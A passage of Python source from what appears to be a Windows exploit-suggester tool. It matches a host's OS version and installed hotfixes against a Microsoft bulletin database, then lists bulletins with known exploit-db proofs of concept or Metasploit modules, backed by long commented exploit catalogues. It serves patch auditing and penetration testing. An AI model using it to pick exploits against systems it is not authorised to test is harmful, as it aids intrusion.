          if ARGS.verbose: ALERT("found hotfix %s" % patch)
          hotfixes.add(patch)
        
  if ARGS.verbose:
    ALERT("name: %s; release: %s; servicepack: %s; architecture: %s" % (name, release, servicepack, architecture))

  # verify that a windows os was at least able to be parsed
  if not name:
    if ARGS.systeminfo:
      ALERT("unable to determine the windows versions from the input file specified. consider using --ostext option to force detection (example: --ostext 'windows 7 sp1 64-bit')", ALERT.BAD)
      exit(1)

  if ARGS.verbose:
    ALERT("name: %s" % name)
    ALERT("release: %s" % release)
    ALERT("service pack: %s" % servicepack)
    ALERT("architecture: %s" % architecture)

  ALERT("querying database file for potential vulnerabilities")

  # potential, all matches within the CSV database for the name,release,sp,arch
  # bulletinds, set of the above with MSIDs (good to keep count)

  # get the potential bulletins
  try:
    for row in csv.reader(StringIO.StringIO(database)):
      bulletinid=row[1]
      affected=row[6]

      if isaffected(name, release, servicepack, architecture, affected):
        
        # only add the bulletin if it's not already in the list
        if bulletinid not in bulletinids:
          potential.append(row)
          bulletinids.add(bulletinid)

          if ARGS.verbose:
            ALERT("%s has been added to potential list '%s'" % (bulletinid, affected))
            
  except csv.Error, e:
    ALERT('could not parse database file, make sure it is in the proper format', ALERT.BAD)
    exit(1)
         
  # there should always be some potential vulns, because of the amount of windows software and false positives  
  if len(bulletinid) == 0:
    ALERT("there are no potential vulnerabilities for, ensure you're searching a valid windows OS", ALERT.BAD)
    exit(1)

  ALERT("comparing the %s hotfix(es) against the %s potential bulletins(s) with a database of %s known exploits" % (len(hotfixes), len(bulletinids), getexploit()))

  # start removing the vulns because of hotfixes
  for row in potential:

    # ms bulletin
    bulletinid=row[1]
    kb=row[2]
    componentkb=row[7]

    for hotfix in hotfixes:
    
      # if either the hotfixes match the kb or componentkb columns, and the bulletin is in the list
      # of potential bulletins
      if (hotfix == kb or hotfix == componentkb) and bulletinid in bulletinids:

        if ARGS.verbose:
          ALERT("  %s hotfix triggered a removal of %skb and the %s bulletin; componentkb is %s" % (hotfix,kb,bulletinid,componentkb))

        # get the linked ms, this will automatically calculate the superseded by as well
        linkedms = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        linkedmsstr = ''
        
        # calculate the pretty string, only care when verbose
        if len(linkedms) > 0:
          for m in linkedms:
            linkedmsstr += ' ' + m

        if ARGS.verbose:
        
          if hotfix == kb:
            ALERT("    due to presence of KB%s (Bulletin KB) removing%s bulletin(s)" % (kb, linkedmsstr))
            
          elif componentkb == kb:
            ALERT("    due to presence of KB%s (Component KB) removing%s bulletin(s)" % (componentkb, linkedmsstr))

        bulletinids = bulletinids.difference(linkedms)
        potential.remove(row)

  ALERT("there are now %s remaining vulns" % len(bulletinids))

  # search local exploits only
  if ARGS.local:
    ALERT("searching for local exploits only")
    for row in potential:
      bulletinid = row[1]
      impact = row[4]

      if bulletinid in bulletinids and not "elevation of privilege" in impact.lower():

        remove = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        
        if ARGS.verbose:
          ALERT("   removing %s (total of %s MS ids), because of its impact %s" % (bulletinid, len(remove), impact))

        bulletinids = bulletinids.difference(remove)
        potential.remove(row)

  # search remote exploits only
  if ARGS.remote:
    ALERT("searching for remote exploits only")
    for row in potential:
      bulletinid = row[1]
      impact = row[4]

      if bulletinid in bulletinids and not "remote code execution" in impact.lower():

        remove = getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))
        
        if ARGS.verbose:
          ALERT("   removing %s (total of %s MS ids), because of its impact %s" % (bulletinid, len(remove), impact))

        bulletinids = bulletinids.difference(remove)
        potential.remove(row)
  
  # print windows version
  version=getversion(name, release, servicepack, architecture)

  ALERT("[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin", ALERT.GOOD)
  ALERT("windows version identified as '%s'" % version, ALERT.GOOD)

  # spacer
  ALERT("")

  # vulns, the dictionary of the bulletins based off of the potential bulletins
  for row in potential:
    id = row[1]
    for bulletinid in bulletinids:
      if bulletinid == id:
        title = row[5]
        kb = row[2]
        severity = row[3]
        if id not in ids:
          vulns[id] = [title,kb,severity]
          ids.add(id)

  # alerted, if a bulletin has been alerted to the user so that it doesn't appear twice
  #          this occurs when a bulletin has multiple parents
  # msids, the actual data for all of the relevant msids (the row from the CSV)
  alerted = set()
  msids = sorted(vulns, reverse=True)

  # loop through the bulletinids which is the set of the actual bulletins that are to
  # be alerted
  for msid in msids:

    ## don't alert twice, no matter the case
    if msid not in alerted: 

      # get the exploitability alert rating
      exploit = getexploit(msid)

      # only display the message, if the exploit flag isn't used
      # or if it is used, and the alert level is MSF or EXP
      if ARGS.audit or (exploit == ALERT.MSF or exploit == ALERT.EXP):

        alert = ALERT.NORMAL
        if exploit: alert = exploit
      
        ALERT("%s: %s (%s) - %s" % (msid, vulns[msid][0], vulns[msid][1], vulns[msid][2]), alert)
        alerted.add(msid)

        # only attempt to display linked/sub msids based on cli arguments
        if ARGS.sub:

          # linked ms, the children of this msid
          linked = set(getlinkedms([msid], csv.reader(StringIO.StringIO(database))))
          linked = linked.intersection(msids)
          
	  # loop through the linked msids, and only display those that qualify and
          # those that have not been alerted yet
          for lmsid in sorted(linked, reverse=True):
            if lmsid in msids and lmsid not in alerted:
              lexploit = getexploit(lmsid)
              lalert = ALERT.NORMAL
              if ARGS.audit or (lexploit == ALERT.MSF or lexploit == ALERT.EXP):
                if lexploit: lalert = lexploit
                ALERT("|_%s: %s (%s) - %s" % (lmsid, vulns[lmsid][0], vulns[lmsid][1], vulns[lmsid][2]), lalert)
		# only allow duplicate events to be displayed when command-line args passed
		if not ARGS.duplicates: alerted.add(lmsid)

  # end run()


# attempt to detect character encoding of a file
# otherwise return None
# https://stackoverflow.com/questions/3323770/character-detection-in-a-text-file-in-python-using-the-universal-encoding-detect
def detect_encoding(filename):
  try:
    import chardet
    data = open(filename, "r").read()
    result = chardet.detect(data)
    encoding = result['encoding']
    return encoding
  except:
    return None

# the trace command is used to determine linked MS bulletins
# TODO much of this is duplicated from run(). should be merged
def trace(database):

  # convert to upper
  bulletinid = ARGS.trace.upper()
  ALERT("searching for bulletin id %s" % bulletinid)

  # get linked msids
  lmsids =  getlinkedms([bulletinid], csv.reader(StringIO.StringIO(database)))

  msids = []

  if ARGS.ostext: 
    ALERT("getting OS information from command line text")

    name=getname(ARGS.ostext)
    release=getrelease(ARGS.ostext)
    servicepack=getservicepack(ARGS.ostext)
    architecture=getarchitecture(ARGS.ostext)

    if ARGS.verbose:
      ALERT("name: %s" % name)
      ALERT("release: %s" % release)
      ALERT("service pack: %s" % servicepack)
      ALERT("architecture: %s" % architecture)

    # the os name at least has to be identified
    if not name:
      ALERT("unable to determine the windows version command line text from '%s'" % ARGS.ostext, ALERT.BAD)
      exit(1)

    # get linked msids, loop through the row
    for row in csv.reader(StringIO.StringIO(database)):
      msid = row[1]
      affected = row[6]

      if msid in lmsids:  
        # debug
        #print ("%s,%s,%s,%s,%s,%s" % (msid, name, release, servicepack, architecture, affected))

        if isaffected(name, release, servicepack, architecture, affected) and msid not in msids: msids.append(msid)
    
      #for msid in lmsids:
      #  if msid == row[1]: 
      #    msids.append(msid)

#        if msid in lmsids and msid not in msids: msids.append(msid)
#
#      if isaffected(name, release, servicepack, architecture, affected):
#        print 11111111111
      #  print affected
        # only add the bulletin if it's part of the linked msids
 #       print lmsids
 #       print msid
  #      if msid in lmsids:
  #        msids.add(msid)
#
#          if ARGS.verbose:
#            ALERT("%s has been added to linked msids list" % msid)
 
  else: msids = lmsids

  ALERT("linked msids %s" % msids, ALERT.GOOD)

  
def patches(database):
  
  kbs = []

  # convert to upper
  bulletinid = ARGS.patches.upper()
  ALERT("searching all kb's for bulletin id %s" % bulletinid)

  # get linked msids, loop through the row
  for row in csv.reader(StringIO.StringIO(database)):
      
    bulletinkb=row[2]
    componentkb=row[7]
    
    # if there's a match
    if bulletinid in row[1]:
      kbs.append(bulletinkb)
      kbs.append(componentkb)

  ALERT("relevant kbs %s" % (sorted(set(kbs), reverse=True)), ALERT.GOOD)

def getversion(name, release, servicepack, architecture):
    
  version = "Windows " + name

  # append release first
  if release: version += " R" + release
      
  # then service pack
  if servicepack: version += " SP" + servicepack
  
  # architecture
  if architecture == "Itanium":  version += " Itanium-based"
  else: version += " %s-bit" % architecture
    
  return version


def getname(ostext):

  if ostext == False:
    return False
      
  osname=False

  osnamearray=[["xp","XP"],
               ["2000","2000"],
               ["2003","2003"],
               ["vista","Vista"],
               ["2008","2008"],
               [" 7","7"],
               [" 8","8"],
               ["2012","2012"],
               ["8.1","8.1"],
               [" 10","10"]]

  for needle in osnamearray:
    ostext = ostext.lower()
    if "windows" + needle[0] in ostext or "windows " + needle[0] in ostext or "server" + needle[0] in ostext or "server " + needle[0] in ostext:
      osname = needle[1]

  # the first loop is a more restrictive detection of the OS name, but it does not detect the following
  # > Microsoft Windows\xFF7 Entreprise 
  # so if there is no detection from the first attempt, then search on a more loosely based string of 
  # needle and space
  if not osname:
    for needle in osnamearray:
      if needle[0] + " " in ostext.lower():
        osname = needle[1]

  return osname


def getrelease(ostext):    
    
  if ostext == False:
    return False
      
  osrelease=False
  
  regex="( r| rc|release|rel)[ ]*(\d)"
  m=re.search(regex, ostext.lower())
  
  if m and m.group(2):    
    osrelease=m.group(2)
      
  return osrelease
  
def getservicepack(ostext):
    
  if ostext == False:
    return False
      
  servicepack=False
  
  regex="(sp|pack|pack:)[ ]*(\d)"
  m=re.search(regex, ostext.lower())
  if m and m.group(2):
    servicepack=m.group(2)

  return servicepack


 # architecture defaults to 32, but can be 64-bit
 # or itanium based
def getarchitecture(ostext):
  
  # default to 32-bit
  architecture="32"

  # haystack
  s = ostext.lower()
  
  # attempt to be as flexible as possible
  # matching '64-based', 'x64', ' 64', 'i64', '64bit', '64 bit', '64-bit'
  if ("64-based" in s) or ("x64" in s) or (" 64" in s) or ("i64" in s) or ("64bit" in s) or ("64 bit" in s) or ("64-bit" in s): architecture="64"

  # target Itanium with a simple search for 'tani'
  if "tani" in s: architecture="Itanium"
        
  if getname(ostext) == "2008" and getrelease(ostext) == "2" and architecture == "32":
    if ARGS.verbose:
      ALERT("forcing unidentified architecture to 64-bit because OS identified as Windows 2008 R2 (although could be Itanium and wasn't detected?)")
    architecture = "64"

  # windows server 2012 is only 64-bit arch
  if getname(ostext) == "2012" and architecture == "32":
    if ARGS.verbose:
      ALERT("forcing unidentified architecture to 64-bit because OS identified as Windows Server 2012 does not support 32-bit")
    architecture = "64"  

  return architecture

# itanium build search string
def getitanium(ostext):
    
  if ostext == False:
    return False

  regex="(tanium)"
  m=re.search(regex, ostext.lower())

  if m:
    return True

  return False

def getpatch(ostext):
    
  patch=False
  
  regex="(\d){5,10}"
  m=re.search(regex, ostext.lower())
  if m and m.group():
    patch=m.group()
  
  return patch

# get the bulletin ids from the haystack
# these are typically in the form of: 
#   MS14-009[2898860]
#   MS13-052[2833940],MS14-009[2898856]
# will return a list if found, otherwise false
def getbulletinids(haystack):
  regex="MS[\d]{2,3}-[\d]{2,3}"
  m = re.findall(regex, haystack)
  if len(m) > 0: return m
  return False

def isaffected(name, release, servicepack, architecture, haystack):

  if name == getname(haystack):

    # ensure None are set to False
    # example, if getservicepack() does not get called in the systeminfo parsing
    # then servicepack will be None. this will then fail when comparing to False. 
    if release == None: release = False
    if servicepack == None: servicepack = False
    if architecture == None: architecture = False

#    print "%s,%s,%s,%s" % (name, release, servicepack, architecture)
#    print "%s,%s,%s,%s" % (getname(haystack),getrelease(haystack),getservicepack(haystack),getarchitecture(haystack))

    n = (name == getname(haystack))
    r = (release == getrelease(haystack))
    s = (servicepack == getservicepack(haystack))
    a = (architecture == getarchitecture(haystack))

    # we ignore the architecture for 2012 servers, as there is only 64-bit
    if name == "2012": return r and s

#    print "%s,%s,%s,%s,%s" % (name, release, servicepack, architecture, (a and r and s))

    return a and r and s
    
# search entire database for linked msids
# this will also search the superseded column (11)
def getlinkedms(msids, database):

  lmsids = []

  # go through each row in the database
  for row in database:
  
    # base MS-XX
    rowid=row[1]
    
    # superseded MS-XX
    
    # first try row 12, and then row 11 for the supercedes column due to
    # differences in csv and xlrd parsing. this was a bug that might be
    # fixed now
    rowidsuper = getbulletinids(row[12])
    if rowidsuper == False: rowidsuper=getbulletinids(row[11])  
    
    rowidsuper = merge_list(rowidsuper)

    # loop through each msid for each row
    for msid in msids:
      
      # debug output, what we're working with
      #print "%s,%s,%s" % (msid, rowid, rowidsuper)
      # MS14-053,MS14-053,['MS13-052', 'MS14-009']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,['MS13-004']
      # MS14-053,MS14-053,[]

      # if the msid matches the row, get the supercedes column (which is a list)
      if msid == rowid or rowid in lmsids:
        #print "%s,%s,%s" % (msid, rowid, rowidsuper)
        lmsids.append(msid)
        lmsids = lmsids + rowidsuper

  return sorted(set(lmsids), reverse=True)

# determines whether or not an msid is in a list of exploits. if msid = 0
# then it will just return the count
def getexploit(msid = 0):
# search using searchsploit
#MS Windows (ListBox/ComboBox Control) Local Exploit (MS03-045)        /windows/local/122.c
#MS Windows Utility Manager Local SYSTEM Exploit (MS04-011)          /windows/local/271.c
#MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)    /windows/local/350.c
#MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)     /windows/local/351.c
#MS Windows 2000 Universal Language Utility Manager Exploit (MS04-019)     /windows/local/352.c
#MS Windows 2K/XP Task Scheduler .job Exploit (MS04-022)           /windows/local/353.c
#MS Windows 2k Utility Manager (All-In-One) Exploit (MS04-019)         /windows/local/355.c
#MS Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)      /windows/local/368.c
#MS Windows (HTA) Script Execution Exploit (MS05-016)            /windows/local/938.cpp
#MS Windows COM Structured Storage Local Exploit (MS05-012)          /windows/local/1019.c
#MS Windows CSRSS Local Privilege Escalation Exploit (MS05-018)        /windows/local/1198.c
#MS Windows 2k Kernel APC Data-Free Local Escalation Exploit (MS05-055)    /windows/local/1407.c
#MS Windows Telephony Service Command Execution Exploit (MS05-040)       /windows/local/1584.cpp
#MS Windows (NtClose DeadLock) Vulnerability PoC (MS06-030)          /windows/local/1910.c
#MS Windows XP/2K (Mrxsmb.sys) Privilege Escalation PoC (MS06-030)       /windows/local/1911.c
#Microsoft IIS ASP Stack Overflow Exploit (MS06-034)             /windows/local/2056.c
#MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)     /windows/local/2412.c
#MS Windows GDI Local Privilege Escalation Exploit (MS07-017)        /windows/local/3688.c
#MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2        /windows/local/3755.c
#Kodak Image Viewer TIF/TIFF Code Execution Exploit PoC (MS07-055)       /windows/local/4584.c
#Microsoft Office .WPS File Stack Overflow Exploit (MS08-011)        /windows/local/5107.c
#Microsoft Office Excel Code Execution Exploit (MS08-014)          /windows/local/5287.txt
#Microsoft Office XP SP3 PPT File Buffer Overflow Exploit (ms08-016)     /windows/local/5320.txt
#MS Windows GDI Image Parsing Stack Overflow Exploit (MS08-021)        /windows/local/5442.cpp

#MS Word Record Parsing Buffer Overflow (MS09-027)               /windows/local/14693.py
#MS Excel Malformed FEATHEADER Record Exploit (MS09-067)           /windows/local/14706.py
#MS Word Record Parsing Buffer Overflow MS09-027 (meta)            /windows/local/17177.rb
#MS Internet Explorer Object Tag Exploit (MS03-020)              /windows/remote/37.pl
#MS Windows Media Services Remote Exploit (MS03-022)             /windows/remote/48.c
#Microsoft WordPerfect Document Converter Exploit (MS03-036)         /windows/remote/92.c
#MS Windows (RPC DCOM) Scanner (MS03-039)                  /windows/remote/97.c
#MS Windows (RPC DCOM) Long Filename Overflow Exploit (MS03-026)       /windows/remote/100.c
#MS Windows (RPC DCOM2) Remote Exploit (MS03-039)              /windows/remote/103.c
#MS Windows (RPC2) Universal Exploit & DoS (RPC3) (MS03-039)         /windows/remote/109.c
#MS Windows 2000/XP Workstation Service Overflow (MS03-049)          /windows/remote/119.c
#MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)         /windows/remote/121.c
#MS Windows Workstation Service WKSSVC Remote Exploit (MS03-049)       /windows/remote/123.c
#MS Windows XP Workstation Service Remote Exploit (MS03-049)         /windows/remote/130.c
#MS Windows Messenger Service Remote Exploit FR (MS03-043)           /windows/remote/135.c
#MS Internet Explorer URL Injection in History List (MS04-004)         /windows/remote/151.txt
#MS Windows IIS 5.0 SSL Remote buffer overflow Exploit (MS04-011)      /windows/remote/275.c
#MS Windows Lsasrv.dll RPC Remote Buffer Overflow Exploit (MS04-011)     /windows/remote/293.c
#MS Windows XP/2K Lsasrv.dll Remote Universal Exploit (MS04-011)       /windows/remote/295.c
#MS Windows JPEG GDI+ Overflow Administrator Exploit (MS04-028)        /windows/remote/475.sh
#MS Windows JPEG GDI+ Overflow Download Shellcode Exploit (MS04-028)     /windows/remote/478.c
#MS Windows JPEG GDI+ Remote Heap Overflow Exploit (MS04-028)        /windows/remote/480.c
#MS Windows Metafile (.emf) Heap Overflow Exploit (MS04-032)         /windows/remote/584.c
#MS Windows Compressed Zipped Folders Exploit (MS04-034)           /windows/remote/640.c
#MS Windows NetDDE Remote Buffer Overflow Exploit (MS04-031)         /windows/remote/734.c
#MS Internet Explorer .ANI files handling Universal Exploit (MS05-002)     /windows/remote/765.c
#MS Internet Explorer .ANI files handling Downloader Exploit (MS05-002)    /windows/remote/771.cpp
#MS Exchange Server Remote Code Execution Exploit (MS05-021)         /windows/remote/947.pl
#MS Outlook Express NNTP Buffer Overflow Exploit (MS05-030)          /windows/remote/1066.cpp
#MS Windows Message Queuing BoF Universal Exploit (MS05-017) (v.0.3)     /windows/remote/1075.c
#MS Internet Explorer (blnmgr.dll) COM Object Remote Exploit (MS05-038)    /windows/remote/1144.html
#MS Windows Plug-and-Play Service Remote Overflow (MS05-039)         /windows/remote/1146.c
#MS Windows Plug-and-Play Service Remote  Universal Exploit (MS05-039)     /windows/remote/1149.c
#Microsoft Windows DTC Remote Exploit (PoC) (MS05-051) (updated)       /windows/remote/1352.cpp
#Windows Media Player 7.1 <= 10 BMP Heap Overflow PoC (MS06-005) (2)     /windows/remote/1502.py
#MS Windows Media Player 9 Plugin Overflow Exploit (MS06-006) (meta)     /windows/remote/1504.pm
#MS Windows Media Player 10 Plugin Overflow Exploit (MS06-006)         /windows/remote/1505.html
#MS Windows Color Management Module Overflow Exploit (MS05-036) (2)      /windows/remote/1506.c
#MS Windows Media Player Plugin Overflow Exploit (MS06-006)(3)         /windows/remote/1520.pl
#MS Windows RRAS Remote Stack Overflow Exploit (MS06-025)          /windows/remote/1940.pm
#MS Windows RRAS RASMAN Registry Stack Overflow Exploit (MS06-025)       /windows/remote/1965.pm
#MS Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014)    /windows/remote/2052.sh
#MS Windows DHCP Client Broadcast Attack Exploit (MS06-036)          /windows/remote/2054.txt
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040)        /windows/remote/2162.pm
#Internet Explorer (MDAC) Remote Code Execution Exploit (MS06-014) (2)     /windows/remote/2164.pm
#MS Windows CanonicalizePathName() Remote Exploit (MS06-040)         /windows/remote/2223.c
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2)      /windows/remote/2265.c
#MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (2k3)      /windows/remote/2355.pm
#MS Windows NetpManageIPCConnect Stack Overflow Exploit (MS06-070)       /windows/remote/2789.cpp
#MS Windows Wkssvc NetrJoinDomain2 Stack Overflow Exploit (MS06-070)     /windows/remote/2800.cpp
#MS Windows ASN.1 Remote Exploit (MS04-007)                  /windows/remote/3022.txt
#MS Internet Explorer VML Remote Buffer Overflow Exploit (MS07-004)      /windows/remote/3137.html
#MS Internet Explorer VML Download and Execute Exploit (MS07-004)      /windows/remote/3148.pl
#MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)    /windows/remote/3577.html
#MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)    /windows/remote/3804.txt
#MS Internet Explorer <= 7 Remote Arbitrary File Rewrite PoC (MS07-027)    /windows/remote/3892.html
#Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)        /windows/remote/4616.pl
#MS Windows Message Queuing Service RPC BOF Exploit (MS07-065)         /windows/remote/4745.cpp
#MS Windows 2000 AS SP4 Message Queue Exploit (MS07-065)           /windows/remote/4760.txt
#Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)         /windows/remote/6454.html
#MS Windows GDI (EMR_COLORMATCHTOTARGETW) Exploit MS08-021           /windows/remote/6656.txt
#MS Windows Server Service Code Execution Exploit (MS08-067) (Univ)      /windows/remote/6841.txt
#MS Windows Server Service Code Execution Exploit (MS08-067)         /windows/remote/7104.c
#SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-068)            /windows/remote/7125.txt
#MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)    /windows/remote/7132.py
#Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069     /windows/remote/7196.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2)    /windows/remote/8079.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (py)      /windows/remote/8080.py
#MS Internet Explorer 7 Memory Corruption PoC (MS09-002) (win2k3sp2)     /windows/remote/8082.html
#MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (fast)      /windows/remote/8152.py
#Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference (MS09-050) /windows/remote/14674.txt
#Microsoft Services MS06-066 nwwks.dll                     /windows/remote/16369.rb
#Microsoft Services MS06-066 nwapi32.dll                   /windows/remote/16373.rb
#MS03-020 Internet Explorer Object Type                    /windows/remote/16581.rb
#MS03-046 Exchange 2000 XEXCH50 Heap Overflow                /windows/remote/16820.rb

# no ms number yet?
#MS??-???,http://www.exploit-db.com/exploits/30014/,P,??2914486
  exploits = [
    ['MS15-134', ALERT.EXP], # CVE 2015-6131
                             # https://www.exploit-db.com/exploits/38911/, Microsoft Windows Media Center Library Parsing RCE Vulnerability aka "self-executing" MCL File, PoC
                             # https://www.exploit-db.com/exploits/38912/, Microsoft Windows Media Center Link File Incorrectly Resolved Reference, PoC
    ['MS15-132', ALERT.EXP], # CVE 2015-6132
                             # https://www.exploit-db.com/exploits/38968/, Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
                             # CVE 2015-6128
                             # https://www.exploit-db.com/exploits/38918/, Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
    ['MS15-111', ALERT.EXP], # CVE 2015-2553
                             # https://www.exploit-db.com/exploits/38474/, Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
    ['MS15-102', ALERT.EXP], # CVE 2015-2524
                             # https://www.exploit-db.com/exploits/38202/, Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
                             # CVE 2015-2525
                             # https://www.exploit-db.com/exploits/38200/, Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
                             # CVE 2015-2528
                             # https://www.exploit-db.com/exploits/38201/, Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
    ['MS15-100', ALERT.MSF], # CVE 2015-2509
                             # https://www.exploit-db.com/exploits/38195/, MS15-100 Microsoft Windows Media Center MCL Vulnerability, MSF
                             # https://www.exploit-db.com/exploits/38151/, Windows Media Center - Command Execution (MS15-100), PoC
    ['MS15-097', ALERT.EXP], # CVE 2015-2508
                             # https://www.exploit-db.com/exploits/38198/, Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
                             # CVE 2015-2527
                             # https://www.exploit-db.com/exploits/38199/, Windows NtUserGetClipboardAccessToken Token Leak, PoC
    ['MS15-078', ALERT.MSF], # CVE 2015-2426, CVE 2015-2433
                             # https://www.exploit-db.com/exploits/38222/, MS15-078 Microsoft Windows Font Driver Buffer Overflow
    ['MS15-052', ALERT.EXP], # CVE 2015-1674
                             # https://www.exploit-db.com/exploits/37052/, Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
    ['MS15-051', ALERT.MSF], # CVE 2015-1701
                             # https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
                             # https://www.exploit-db.com/exploits/37367/, Windows ClientCopyImage Win32k Exploit, MSF
    ['MS15-022', ALERT.EXP], # CVE 2015-0097
                             # https://www.exploit-db.com/exploits/37657/, Microsoft Word Local Machine Zone Remote Code Execution Vulnerability, PoC
                             # https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37657.zip
    ['MS15-010', ALERT.EXP], # CVE 2015-0057
                             # https://www.exploit-db.com/exploits/37098/, Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
                             # https://www.exploit-db.com/exploits/39035/, Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
    ['MS15-001', ALERT.EXP], # CVE 2015-0002
                             # http://www.exploit-db.com/exploits/35661/, Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
    ['MS14-070', ALERT.EXP], # CVE 2014 4076
                             # http://www.exploit-db.com/exploits/35936/, Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC
    ['MS14-068', ALERT.EXP], # CVE 2014-6324
                             # http://www.exploit-db.com/exploits/35474/, Windows Kerberos - Elevation of Privilege (MS14-068), PoC
    ['MS14-064', ALERT.MSF], # CVE 2014-6332
                             # https://www.exploit-db.com/exploits/37800/,  Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
                             # http://www.exploit-db.com/exploits/35308/, Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
                             # http://www.exploit-db.com/exploits/35229/, Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
                             # http://www.exploit-db.com/exploits/35230/, Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
                             # http://www.exploit-db.com/exploits/35235/, MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
                             # http://www.exploit-db.com/exploits/35236/, MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
    ['MS14-062', ALERT.MSF], # CVE 2014-4971
                             # http://www.exploit-db.com/exploits/34112/, Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC
                             # http://www.exploit-db.com/exploits/34982/, Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation
    ['MS14-060', ALERT.MSF], # CVE 2014-4114
                             # http://www.exploit-db.com/exploits/35055/, Windows OLE - Remote Code Execution "Sandworm" Exploit (MS14-060), PoC
                             # http://www.exploit-db.com/exploits/35020/, MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
    ['MS14-058', ALERT.MSF], # CVE 2014-4113
                             # http://www.exploit-db.com/exploits/35101/, Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
    ['MS14-035', ALERT.EXP],
    ['MS14-029', ALERT.EXP], #http://www.exploit-db.com/exploits/34458/
    ['MS14-026', ALERT.EXP], # CVE 2014-1806
                             # http://www.exploit-db.com/exploits/35280/, .NET Remoting Services Remote Command Execution, PoC,
    ['MS14-017', ALERT.MSF],
    ['MS14-012', ALERT.MSF],
    ['MS14-009', ALERT.MSF],
    ['MS14-002', ALERT.EXP],
    ['MS13-101', ALERT.EXP],
    ['MS13-097', ALERT.MSF],
    ['MS13-096', ALERT.MSF],
    ['MS13-090', ALERT.MSF],
    ['MS13-080', ALERT.MSF],
    ['MS13-071', ALERT.MSF],
    ['MS13-069', ALERT.MSF],
    ['MS13-067', ALERT.EXP],
    ['MS13-059', ALERT.MSF],
    ['MS13-055', ALERT.MSF],
    ['MS13-053', ALERT.MSF],
    ['MS13-009', ALERT.MSF],
    ['MS13-005', ALERT.MSF],
    ['MS12-037', ALERT.EXP], # CVE 2012-1876
                             # http://www.exploit-db.com/exploits/35273/, Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
                             # http://www.exploit-db.com/exploits/34815/, Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
    ['MS12-022', ALERT.MSF],
    ['MS11-080', ALERT.MSF],
    ['MS11-011', ALERT.EXP],
    ['MS10-073', ALERT.MSF],
    ['MS10-061', ALERT.MSF],
    ['MS10-059', ALERT.EXP],
    ['MS10-047', ALERT.EXP],
    ['MS10-015', ALERT.MSF],
    ['MS10-002', ALERT.MSF],
    ['MS09-072', ALERT.MSF],
    ['MS09-067', ALERT.MSF],
    ['MS09-065', ALERT.MSF],
    ['MS09-053', ALERT.MSF],
    ['MS09-050', ALERT.MSF],
    ['MS09-050', ALERT.MSF],
    ['MS09-043', ALERT.MSF],
    ['MS09-020', ALERT.MSF],
    ['MS09-004', ALERT.MSF],
    ['MS09-002', ALERT.MSF],
    ['MS09-001', ALERT.MSF],
    ['MS08-078', ALERT.MSF],
    ['MS08-070', ALERT.MSF],
    ['MS08-067', ALERT.MSF],
    ['MS08-067', ALERT.MSF],
    ['MS08-053', ALERT.MSF],
    ['MS08-041', ALERT.MSF],
    ['MS08-025', ALERT.EXP],
    ['MS07-065', ALERT.MSF],
    ['MS07-065', ALERT.MSF],
    ['MS07-064', ALERT.MSF],
    ['MS07-029', ALERT.MSF],
    ['MS07-029', ALERT.MSF],
    ['MS07-017', ALERT.MSF],
    ['MS06-071', ALERT.MSF],
    ['MS06-070', ALERT.MSF],
    ['MS06-070', ALERT.MSF],
